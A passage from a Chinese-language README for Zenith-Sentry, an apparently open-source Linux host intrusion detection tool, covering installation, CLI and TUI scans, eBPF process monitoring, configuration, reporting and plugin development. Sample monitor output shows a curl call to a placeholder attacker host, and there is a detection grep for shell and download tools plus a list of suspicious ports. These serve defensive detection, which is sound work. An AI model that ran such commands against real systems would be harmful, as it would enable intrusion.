interactive TUI ✓ Cleans up on exit # 验证 Python 版本 $ python3 --version Python 3.10.12 # 手动虚拟环境设置 $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt # 安装 eBPF 依赖(Ubuntu/Debian) $ sudo bash install_ebpf_deps.sh # 或手动执行: $ sudo apt update $ sudo apt install -y bpf-tools libbpf-dev linux-headers-$(uname -r) $ pip3 install bcc # 安装 eBPF 依赖(Fedora/RHEL) $ sudo dnf install -y bcc-tools libbpf-devel kernel-devel $ pip3 install bcc # 验证内核 BPF 支持 $ cat /boot/config-$(uname -r) | grep CONFIG_BPF CONFIG_BPF=y CONFIG_HAVE_EBPF_JIT=y ``` ### 2. 交互式 TUI 命令 ``` # 启动交互式菜单 $ python3 gui.py # 或使用一体化启动器 $ ./start.sh # TUI 导航 ↑ / ↓ Navigate menu items Enter Execute selected scan q Quit (in results view) Ctrl+C Force exit # TUI 菜单选项 ┌─────────────────────────┐ │ ↑ Full System Scan │ <- Comprehensive threat assessment │ Process Analysis │ <- Hunt process execution patterns │ Network Analysis │ <- Monitor network connections │ Persistence Discovery │ <- Find persistence mechanisms │ Exit │ <- Close application └─────────────────────────┘ # TUI 输出颜色 [GREEN] Low/Info level findings [YELLOW] Medium/High level findings [RED] Critical threats ``` ### 3. CLI 命令 ``` # 完整系统扫描(默认) $ python3 main.py full-scan Scan completed in 2.34 seconds Risk Score: 45/100 Findings: 2 total # 仅进程执行 $ python3 main.py process Scanning for suspicious process patterns... # 仅网络连接 $ python3 main.py network Analyzing network connections... # 仅持久化机制 $ python3 main.py persistence Searching for persistence indicators... # JSON 输出(用于 SIEM/自动化) $ python3 main.py full-scan --json { "score": 45, "timestamp": "20260416_142345", "findings": [...] } # 保存 JSON 到文件 $ python3 main.py full-scan --json > scan_report.json # 使用 eBPF 内核监控(需要 root 权限) $ sudo python3 main.py full-scan --ebpf [eBPF] Kernel monitoring active... Scan completed with kernel-level visibility # eBPF + JSON 组合 $ sudo python3 main.py full-scan --ebpf --json # 按风险等级过滤 $ python3 main.py full-scan --risk-threshold 50 # 仅显示风险 >= 50 的结果(中等及以上) # 不同风险阈值 $ python3 main.py full-scan --risk-threshold 0 # All findings (default) $ python3 main.py full-scan --risk-threshold 25 # Low and above $ python3 main.py full-scan --risk-threshold 50 # Medium and above $ python3 main.py full-scan --risk-threshold 75 # High and above $ python3 main.py full-scan --risk-threshold 100 # Critical only # 自定义配置文件 $ python3 main.py full-scan --profile custom_config.yaml # 调试模式(详细日志) $ python3 main.py full-scan --verbose [DEBUG] Loading configuration from config.yaml [DEBUG] Initializing collectors... [DEBUG] Loading plugins from zenith/plugins/ [INFO] Scan started at 2026-04-16 14:23:45 ... # 组合标志 $ sudo python3 main.py full-scan --ebpf --json --verbose --risk-threshold 50 ``` ### 4. 实时 eBPF 监控 ``` # 独立内核进程监控(需要 root 权限) $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c Output (continuous JSON stream): {"timestamp_ns": 1713278625123456789, "pid": 2847, ...} {"timestamp_ns": 1713278625234567890, "pid": 1523, ...} ... # 人类可读格式 $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c --human Output: [14:23:45.123] PID=2847 PPID=2840 /bin/curl args=[http://evil.com] [14:23:45.456] PID=1523 PPID=2847 /bin/bash args=[-c] ... # 带调试信息 $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c --debug Output: Includes traceback and detailed error information # 将 eBPF 事件保存到文件 $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c >> ebpf_events.jsonl # 按 PID 过滤 eBPF 事件 $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c | grep "\"pid\": 2847" # 实时监控与分析 $ sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c --human | grep -E "bash|sh|curl|wget" ``` ### 5. 配置管理 ``` # 查看默认配置 $ cat config.yaml # 编辑配置 $ nano config.yaml # 创建自定义配置 $ cp config.yaml config.prod.yaml $ nano config.prod.yaml # 使用自定义配置 $ python3 main.py full-scan --profile config.prod.yaml # 配置部分 [network] suspicious_ports: [4444, 5555, 1337, 6666, 6667, 8888] ignore_loopback: true [persistence] scan_dirs: # - /opt/startup # - /usr/local/bin ``` ### 6. 报告管理 ``` # 列出所有扫描报告 $ ls -lh user_data/ total 1.2M -rw-r--r-- 1 sameer sameer 12K Apr 16 14:23 scan_20260416_142345.json -rw-r--r-- 1 sameer sameer 10K Apr 16 14:15 scan_20260416_141530.json -rw-r--r-- 1 sameer sameer 8K Apr 16 14:05 scan_20260416_140500.json # 分析最新报告 $ cat user_data/scan_20260416_142345.json | jq '.score' 75 $ cat user_data/scan_20260416_142345.json | jq '.findings | length' 2 # 提取发现结果 $ cat user_data/scan_*.json | jq '.findings[] | .risk' CRITICAL HIGH # 比较两次扫描 $ diff <(jq .score user_data/scan_20260416_142345.json) \ <(jq .score user_data/scan_20260416_141530.json) # 归档旧报告 $ tar -czf user_data/archive_2026_04.tar.gz user_data/scan_202604*.json $ rm user_data/scan_202604*.json # 发送报告到 SIEM $ for file in user_data/scan_*.json; do curl -X POST https://siem.company.com/api/findings \ -H "Content-Type: application/json" \ -d @"$file" done ``` ### 7. 开发与扩展命令 ``` # 创建新检测器插件 $ cat > zenith/plugins/my_detector.py << 'EOF' from zenith.core import IDetector, Finding, RiskLevel, Severity class MyDetector(IDetector): name = "MyCustomDetector" def __init__(self, procs=None, conns=None, sys_files=None, config=None, **kwargs): self.procs = procs or {} def analyze(self): # Your detection logic here return [] EOF # 下次扫描自动加载插件 $ python3 main.py full-scan # 测试自定义插件 $ python3 -c "from zenith.registry import PluginRegistry; \ r = PluginRegistry(); \ r.load_plugins(); \ print(f'Loaded {len(r.get_detectors())} detectors')" # 验证插件语法 $ python3 -m py_compile zenith/plugins/my_detector.py # 无输出 = 有效语法 # 测试单个检测器 $ python3 << 'EOF' from zenith.plugins.my_detector import MyDetector from zenith.collectors import ProcessCollector collector = ProcessCollector() procs = collector.collect() detector = MyDetector(procs=procs) findings = detector.analyze() print(f"Found {len(findings)} issues") EOF ``` ### 8. 故障排查命令 ``` # 检查 Python 版本 $ python3 --version # 确保 3.8+ # 验证依赖关系 $ python3 -c "import psutil; print(psutil.__version__)" $ python3 -c "import yaml; print(yaml.__version__)" $ python3 -c "import bcc" 2>&1 # Should not error if BCC installed # 运行语法检查 $ python3 -m py_compile main.py gui.py zenith/*.py # 无输出 = 所有文件有效 # 检查损坏的导入 $ python3 -c "from zenith.engine import ZenithEngine; print('OK')" # 测试配置加载 $ python3 << 'EOF' from zenith.config import ConfigLoader config = ConfigLoader('config.yaml') print(config.config) EOF # 列出已加载插件 $ python3 << 'EOF' from zenith.registry import PluginRegistry registry = PluginRegistry() registry.load_plugins() for detector in registry.get_detectors(): print(f"- {detector.name}") if registry.errors: print(f"Errors: {registry.errors}") EOF # 验证内核 BPF 支持 $ cat /boot/config-$(uname -r) | grep -E "^CONFIG_(BPF|HAVE_EBPF)" # 监控扫描期间的系统资源 $ watch -n 1 'ps aux | grep -E "(python|bash)" | grep -v grep' ``` ## 支持 ### 获取帮助 1. **查阅文档** — 参考本 README 与功能指南 2. **查看日志** — 检查扫描输出中的错误信息 3. **搜索问题** — 在问题追踪器中查找类似问题 4. **创建问题** — 提交详细的错误报告 ### 版本信息 - **Zenith-Sentry 版本:** 2.0 - **所需 Python 版本:** 3.8+ - **最低 Linux 内核:** 4.8(推荐 5.8+) - **最后更新:** 2026 年 4 月

为 Linux 防御者构建。专为可扩展性设计。
假设已失陷。狩猎威胁。自动化防御。

标签:API安全, Assume Breach, C2流量检测, Cloudflare, Docker镜像, EDR, HIDS, JSON输出, MITRE ATT&CK, Python, Raspberry Pi, SIEM集成, 主动狩猎, 主机入侵检测, 内存执行, 内核级监控, 取证, 开发者评论分析, 开源安全工具, 异常检测, 持久化检测, 插件扩展, 无后门, 生产级, 签名检测, 脆弱性评估, 行为异常, 行为检测, 逆向工具, 逆向工程平台